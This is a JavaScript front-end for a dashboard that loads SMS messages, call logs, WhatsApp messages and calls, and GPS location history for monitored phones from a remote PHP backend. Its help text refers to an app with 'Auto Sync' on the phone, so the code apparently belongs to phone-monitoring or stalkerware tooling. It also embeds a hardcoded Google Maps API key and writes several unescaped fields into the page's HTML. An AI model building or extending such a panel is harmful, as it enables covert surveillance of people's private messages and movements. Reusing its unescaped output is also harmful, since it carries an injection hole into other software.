class SMSCallDashboard {
    constructor() {
        // UPDATED: Corrected to the full base path for your PHP backend scripts
        this.apiBaseUrl = 'https://bdinf.com/dashboard/php_backend'; 
        this.currentPage = 1;
        this.recordsPerPage = 50;
        this.totalRecords = 0;
        this.currentData = [];
        
        this.initializeElements();
        this.bindEvents();
        this.loadPhones();
    }

    initializeElements() {
        this.phoneSelect = document.getElementById('phoneSelect');
        this.dataTypeSelect = document.getElementById('dataTypeSelect');
        this.searchInput = document.getElementById('searchInput');
        this.dateFrom = document.getElementById('dateFrom');
        this.dateTo = document.getElementById('dateTo');
        this.filterBtn = document.getElementById('filterBtn');
        this.refreshBtn = document.getElementById('refreshBtn');
        this.tableHeader = document.getElementById('tableHeader');
        this.tableBody = document.getElementById('tableBody');
        this.loadingOverlay = document.getElementById('loadingOverlay');
        this.totalRecordsEl = document.getElementById('totalRecords');
        this.dateRangeEl = document.getElementById('dateRange');
        this.avgPerDayEl = document.getElementById('avgPerDay');
        this.paginationInfo = document.getElementById('paginationInfo');
        this.pageInfo = document.getElementById('pageInfo');
        this.prevBtn = document.getElementById('prevBtn');
        this.nextBtn = document.getElementById('nextBtn');
        this.dataTitle = document.getElementById('dataTitle');
        this.locationPanel = document.getElementById('locationPanel');
    }

    bindEvents() {
        this.filterBtn.addEventListener('click', () => this.loadData());
        this.refreshBtn.addEventListener('click', () => this.loadData());
        this.dataTypeSelect.addEventListener('change', () => this.onDataTypeChange());
        this.prevBtn.addEventListener('click', () => this.previousPage());
        this.nextBtn.addEventListener('click', () => this.nextPage());
        // ADDED/CONFIRMED: Event listener for phone selection change
        this.phoneSelect.addEventListener('change', () => { 
            this.currentPage = 1; // Reset page when phone changes
            this.loadData();
        });
        
        // Auto-search on input
        let searchTimeout;
        this.searchInput.addEventListener('input', () => {
            clearTimeout(searchTimeout);
            searchTimeout = setTimeout(() => this.loadData(), 500);
        });
    }

    showLoading() {
        this.loadingOverlay.style.display = 'flex';
    }

    hideLoading() {
        this.loadingOverlay.style.display = 'none';
    }

    async loadPhones() {
        try {
            this.showLoading();
            // Request will now be https://bdinf.com/dashboard/php_backend/get_tables.php
            const response = await fetch(`${this.apiBaseUrl}/get_tables.php`);
            const data = await response.json();
            
            if (data.success) {
                this.phoneSelect.innerHTML = '<option value="">Select a phone...</option>';
                
                Object.keys(data.tables).forEach(phoneName => {
                    const option = document.createElement('option');
                    option.value = phoneName;
                    option.textContent = phoneName.replace(/_/g, ' ');
                    this.phoneSelect.appendChild(option);
                });

                // Automatically select the first phone if available and load its data
                if (Object.keys(data.tables).length > 0) {
                    this.phoneSelect.value = Object.keys(data.tables)[0];
                    this.loadData(); // Load data for the first phone
                }
            } else {
                console.error('API Error loading phones:', data.error);
                this.phoneSelect.innerHTML = '<option value="">Error loading phones</option>';
            }
        } catch (error) {
            console.error('Network error loading phones:', error);
            this.phoneSelect.innerHTML = '<option value="">Network error</option>';
        } finally {
            this.hideLoading();
        }
    }

    onDataTypeChange() {
        const dataType = this.dataTypeSelect.value;
        
        if (dataType === 'location') {
            this.locationPanel.style.display = 'block';
            document.querySelector('.data-panel').style.display = 'none';
            this.loadLocationData();
        } else {
            this.locationPanel.style.display = 'none';
            document.querySelector('.data-panel').style.display = 'block';
        }
        
        this.currentPage = 1;
        this.loadData();
    }
    
    async loadLocationData() {
        const selectedPhone = this.phoneSelect.value;
        if (!selectedPhone) return;
        
        try {
            this.showLoading();
            const response = await fetch(`${this.apiBaseUrl}/get_location.php?phone_name=${encodeURIComponent(selectedPhone)}&limit=100`);
            const data = await response.json();
            
            if (data.success && data.locations.length > 0) {
                this.displayLocationMap(data.locations);
            } else {
                this.displayNoLocationMessage();
            }
        } catch (error) {
            console.error('Error loading location data:', error);
            this.displayNoLocationMessage();
        } finally {
            this.hideLoading();
        }
    }
    
    displayLocationMap(locations) {
        const mapContainer = document.getElementById('locationMap');
        if (!mapContainer) {
            console.error('locationMap element not found');
            return;
        }
        
        // Update location count
        const locationCount = document.getElementById('locationCount');
        if (locationCount) {
            locationCount.textContent = `${locations.length} location records found`;
        }
        
        // Clear existing content
        mapContainer.innerHTML = '';
        
        // Create location display with Google Maps integration
        const locationContainer = document.createElement('div');
        locationContainer.className = 'location-container';
        
        // Add Google Maps embed for the latest location
        if (locations.length > 0) {
            const latestLocation = locations[0];
            
            // Create Google Maps iframe
            const mapFrame = document.createElement('div');
            mapFrame.className = 'google-map-frame';
            mapFrame.innerHTML = `
                <iframe
                    width="100%"
                    height="300"
                    frameborder="0"
                    style="border:0"
                    referrerpolicy="no-referrer-when-downgrade"
                    src="https://www.google.com/maps/embed/v1/place?key=AIzaSyBFw0Qbyq9zTFTd-tUY6dOWTgHz-TuHuAM&q=${latestLocation.latitude},${latestLocation.longitude}&zoom=15"
                    allowfullscreen>
                </iframe>
            `;
            locationContainer.appendChild(mapFrame);
        }
        
        // Create location list
        const locationList = document.createElement('div');
        locationList.className = 'location-list';
        
        const listTitle = document.createElement('h4');
        listTitle.textContent = 'Recent Location History';
        locationList.appendChild(listTitle);
        
        // Display up to 20 recent locations
        locations.slice(0, 20).forEach((location, index) => {
            const locationItem = document.createElement('div');
            locationItem.className = 'location-item';
            
            const date = new Date(parseInt(location.timestamp));
            const formattedDate = date.toLocaleString();
            
            locationItem.innerHTML = `
                <div class="location-header">
                    <span class="location-index">#${index + 1}</span>
                    <span class="location-time">${formattedDate}</span>
                </div>
                <div class="location-coords">
                    <div class="coord-group">
                        <label>Latitude:</label>
                        <span class="coord-value">${location.latitude.toFixed(6)}</span>
                    </div>
                    <div class="coord-group">
                        <label>Longitude:</label>
                        <span class="coord-value">${location.longitude.toFixed(6)}</span>
                    </div>
                </div>
                <div class="location-actions">
                    <a href="https://www.google.com/maps?q=${location.latitude},${location.longitude}" 
                       target="_blank" class="map-link">
                       <i class="fas fa-map-marker-alt"></i> View on Google Maps
                    </a>
                    <button class="copy-coords-btn" onclick="navigator.clipboard.writeText('${location.latitude}, ${location.longitude}')">
                        <i class="fas fa-copy"></i> Copy Coordinates
                    </button>
                </div>
            `;
            
            locationList.appendChild(locationItem);
        });
        
        locationContainer.appendChild(locationList);
        mapContainer.appendChild(locationContainer);
    }
    
    displayNoLocationMessage() {
        const mapContainer = document.getElementById('locationMap');
        if (!mapContainer) {
            console.error('locationMap element not found');
            return;
        }
        
        // Update location count
        const locationCount = document.getElementById('locationCount');
        if (locationCount) {
            locationCount.textContent = 'No location data available';
        }
        
        mapContainer.innerHTML = `
            <div class="no-location-message">
                <div class="no-location-icon">
                    <i class="fas fa-map-marker-alt"></i>
                </div>
                <h3>No Location Data Available</h3>
                <p>This phone hasn't sent any location data yet.</p>
                <div class="location-help">
                    <h4>To enable location tracking:</h4>
                    <ul>
                        <li>Make sure location permissions are granted in the app</li>
                        <li>Enable "Auto Sync" in the app</li>
                        <li>Ensure GPS is enabled on the phone</li>
                        <li>Wait for the app to capture and sync location data</li>
                    </ul>
                </div>
            </div>
        `;
    }

    async loadData() {
        const phoneName = this.phoneSelect.value;
        const dataType = this.dataTypeSelect.value;
        
        if (!phoneName) {
            // No alert, just clear data if no phone is selected
            this.currentData = [];
            this.totalRecords = 0;
            this.updateTable();
            this.updateStats();
            this.updatePagination();
            return;
        }

        try {
            this.showLoading();
            
            let url;
            const params = new URLSearchParams({
                phone_name: phoneName,
                limit: this.recordsPerPage,
                offset: (this.currentPage - 1) * this.recordsPerPage
            });

            if (this.searchInput.value) {
                params.append('search', this.searchInput.value);
            }

            if (this.dateFrom.value) {
                params.append('date_from', this.dateFrom.value);
            }

            if (this.dateTo.value) {
                params.append('date_to', this.dateTo.value);
            }

            // Handle different data types
            if (dataType === 'whatsapp_messages') {
                params.append('data_type', 'messages');
                url = `${this.apiBaseUrl}/get_whatsapp_data.php?${params}`;
            } else if (dataType === 'whatsapp_calls') {
                params.append('data_type', 'calls');
                url = `${this.apiBaseUrl}/get_whatsapp_data.php?${params}`;
            } else {
                params.append('data_type', dataType);
                url = `${this.apiBaseUrl}/get_data.php?${params}`;
            }

            const response = await fetch(url);
            const data = await response.json();
            
            if (data.success) {
                this.currentData = data.data;
                this.totalRecords = data.total;
                this.updateTable();
                this.updateStats();
                this.updatePagination();
            } else {
                console.error('API Error:', data.error);
                this.currentData = []; // Clear data on API error
                this.totalRecords = 0;
                this.updateTable();
                this.updateStats();
                this.updatePagination();
            }
        } catch (error) {
            console.error('Network error loading data:', error);
            this.currentData = []; // Clear data on network error
            this.totalRecords = 0;
            this.updateTable();
            this.updateStats();
            this.updatePagination();
        } finally {
            this.hideLoading();
        }
    }

    updateTable() {
        const dataType = this.dataTypeSelect.value;
        
        // Update title
        this.dataTitle.textContent = `${dataType.charAt(0).toUpperCase() + dataType.slice(1)} Records`;
        
        // Clear existing content
        this.tableHeader.innerHTML = '';
        this.tableBody.innerHTML = '';
        
        if (this.currentData.length === 0) {
            this.tableBody.innerHTML = '<tr><td colspan="100%" style="text-align: center; padding: 40px;">No data found</td></tr>';
            return;
        }

        // Create headers based on data type
        let headers = [];
        if (dataType === 'sms') {
            headers = ['ID', 'Number', 'Message', 'Type', 'Date'];
        } else if (dataType === 'calls') {
            headers = ['ID', 'Number', 'Duration', 'Type', 'Date'];
        } else if (dataType === 'location') {
            headers = ['ID', 'Latitude', 'Longitude', 'Timestamp'];
        } else if (dataType === 'whatsapp_messages') {
            headers = ['ID', 'Contact', 'Message', 'Type', 'Date'];
        } else if (dataType === 'whatsapp_calls') {
            headers = ['ID', 'Contact', 'Duration', 'Type', 'Date'];
        }

        // Create header row
        const headerRow = document.createElement('tr');
        headers.forEach(header => {
            const th = document.createElement('th');
            th.textContent = header;
            headerRow.appendChild(th);
        });
        this.tableHeader.appendChild(headerRow);

        // Create data rows
        this.currentData.forEach(record => {
            const row = document.createElement('tr');
            
            if (dataType === 'sms') {
                row.innerHTML = `
                    <td>${record.id}</td>
                    <td>${record.address || 'Unknown'}</td>
                    <td class="message-body">${this.escapeHtml(record.body || '')}</td>
                    <td><span class="sms-type ${record.type == 1 ? 'sms-inbox' : 'sms-sent'}">${record.type == 1 ? 'Inbox' : 'Sent'}</span></td>
                    <td>${record.formatted_date || 'Unknown'}</td>
                `;
            } else if (dataType === 'calls') {
                const callTypes = {1: 'Incoming', 2: 'Outgoing', 3: 'Missed'};
                const callTypeClass = {1: 'call-incoming', 2: 'call-outgoing', 3: 'call-missed'};
                
                row.innerHTML = `
                    <td>${record.id}</td>
                    <td>${record.number || 'Unknown'}</td>
                    <td>${this.formatDuration(record.duration)}</td>
                    <td><span class="call-type ${callTypeClass[record.type] || ''}">${callTypes[record.type] || 'Unknown'}</span></td>
                    <td>${record.formatted_date || 'Unknown'}</td>
                `;
            } else if (dataType === 'location') {
                row.innerHTML = `
                    <td>${record.id}</td>
                    <td>${record.latitude}</td>
                    <td>${record.longitude}</td>
                    <td>${record.formatted_timestamp || 'Unknown'}</td>
                `;
            } else if (dataType === 'whatsapp_messages') {
                row.innerHTML = `
                    <td>${record.id}</td>
                    <td>${record.contact || 'Unknown'}</td>
                    <td class="message-body">${this.escapeHtml(record.message_data || '')}</td>
                    <td><span class="whatsapp-type ${record.from_me ? 'whatsapp-sent' : 'whatsapp-received'}">${record.message_type || 'Unknown'}</span></td>
                    <td>${record.formatted_date || 'Unknown'}</td>
                `;
            } else if (dataType === 'whatsapp_calls') {
                row.innerHTML = `
                    <td>${record.id}</td>
                    <td>${record.contact || 'Unknown'}</td>
                    <td>${record.formatted_duration || '0s'}</td>
                    <td><span class="whatsapp-call-type">${record.call_type || 'Unknown'}</span></td>
                    <td>${record.formatted_date || 'Unknown'}</td>
                `;
            }
            
            this.tableBody.appendChild(row);
        });
    }

    updateStats() {
        this.totalRecordsEl.textContent = this.totalRecords.toLocaleString();
        
        if (this.currentData.length > 0) {
            // Use the original timestamp for date range calculation for better accuracy
            const dates = this.currentData.map(record => new Date(record.date || record.timestamp));
            const minDate = new Date(Math.min(...dates));
            const maxDate = new Date(Math.max(...dates));
            
            this.dateRangeEl.textContent = `${minDate.toLocaleDateString()} - ${maxDate.toLocaleDateString()}`;
            
            const daysDiff = Math.ceil((maxDate - minDate) / (1000 * 60 * 60 * 24)) || 1;
            const avgPerDay = Math.round(this.totalRecords / daysDiff);
            this.avgPerDayEl.textContent = avgPerDay.toLocaleString();
        } else {
            this.dateRangeEl.textContent = '-';
            this.avgPerDayEl.textContent = '0';
        }
    }

    updatePagination() {
        const totalPages = Math.ceil(this.totalRecords / this.recordsPerPage);
        const startRecord = (this.currentPage - 1) * this.recordsPerPage + 1;
        const endRecord = Math.min(this.currentPage * this.recordsPerPage, this.totalRecords);
        
        this.paginationInfo.textContent = `Showing ${startRecord}-${endRecord} of ${this.totalRecords} records`;
        this.pageInfo.textContent = `Page ${this.currentPage} of ${totalPages}`;
        
        this.prevBtn.disabled = this.currentPage <= 1;
        this.nextBtn.disabled = this.currentPage >= totalPages || totalPages === 0; // Disable next if no pages
    }

    previousPage() {
        if (this.currentPage > 1) {
            this.currentPage--;
            this.loadData();
        }
    }

    nextPage() {
        const totalPages = Math.ceil(this.totalRecords / this.recordsPerPage);
        if (this.currentPage < totalPages) {
            this.currentPage++;
            this.loadData();
        }
    }

    formatDuration(seconds) {
        if (seconds === null || seconds === undefined) return 'N/A'; // Handle null/undefined duration
        if (seconds === 0) return '0s';
        
        const hours = Math.floor(seconds / 3600);
        const minutes = Math.floor((seconds % 3600) / 60);
        const secs = seconds % 60;
        
        if (hours > 0) {
            return `${hours}h ${minutes}m ${secs}s`;
        } else if (minutes > 0) {
            return `${minutes}m ${secs}s`;
        } else {
            return `${secs}s`;
        }
    }

    escapeHtml(text) {
        const div = document.createElement('div');
        div.textContent = text;
        return div.innerHTML;
    }
}

// Initialize the dashboard when the page loads
document.addEventListener('DOMContentLoaded', () => {
    new SMSCallDashboard();
});
